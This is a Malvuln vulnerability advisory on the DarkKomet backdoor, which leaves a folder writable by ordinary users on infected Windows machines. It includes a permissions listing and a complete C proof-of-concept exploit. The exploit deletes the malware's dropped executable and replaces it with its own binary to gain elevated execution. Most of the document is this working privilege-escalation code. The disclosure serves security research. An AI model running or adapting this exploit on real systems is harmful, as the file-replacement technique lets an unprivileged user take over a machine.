Backdoor.Win32.DarkKomet.apbb malware suffers from an insecure permissions vulnerability.
3c1100753a17af79e9be0e2d053ca50eDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d6c930e0ac1df934151d1890f6441fe2.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.DarkKomet.apbb
Vulnerability: Insecure Permissions
Description: DarkKomet creates an insecure dir named "Windupdt" under c:\ drive, this allows unprivileged users to take over the infected system, as it grants change (C) permissions to the authenticated users group.
Type: PE32
MD5: d6c930e0ac1df934151d1890f6441fe2
Vuln ID: MVID-2021-0054
Dropped files: sass.exe
Disclosure: 01/26/2021
Exploit/PoC:
C:\>cacls "C:\Windupdt\sass.exe"
C:\Windupdt\sass.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Windupdt\\sass.exe"
#define TMP "C:\\Windupdt\\2.exe"
#define DISABLED_TARGET "C:\\Windupdt\\pwnkomet.tmp"
/* Backdoor.Win32.DarkKomet.apbb.d6c930e0ac1df934151d1890f6441fe2 */
/* Insecure Permissions EoP */
/* Log out of the current privileged user account, run the exploit as standard user then log back in. */
/* By Malvuln */
BOOL PWNED=FALSE;
BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
void main(void){
if(!FileExists(DISABLED_TARGET)){
WinExec("cmd.exe /c del C:\\Windupdt\\sass.exe", 0);
Sleep(1000);
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Backdoor.Win32.DarkKomet.apbb EoP PoC\n");
Sleep(1000);
printf("[+] Disabled sass.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln System dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced sass.exe...\n");
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Backdoor.Win32.DarkKomet.apbb PWNED!\n");
printf("[+] MD5: d6c930e0ac1df934151d1890f6441fe2\n");
printf("[+] By John Page (Malvuln)\n");
system("pause");
}
}
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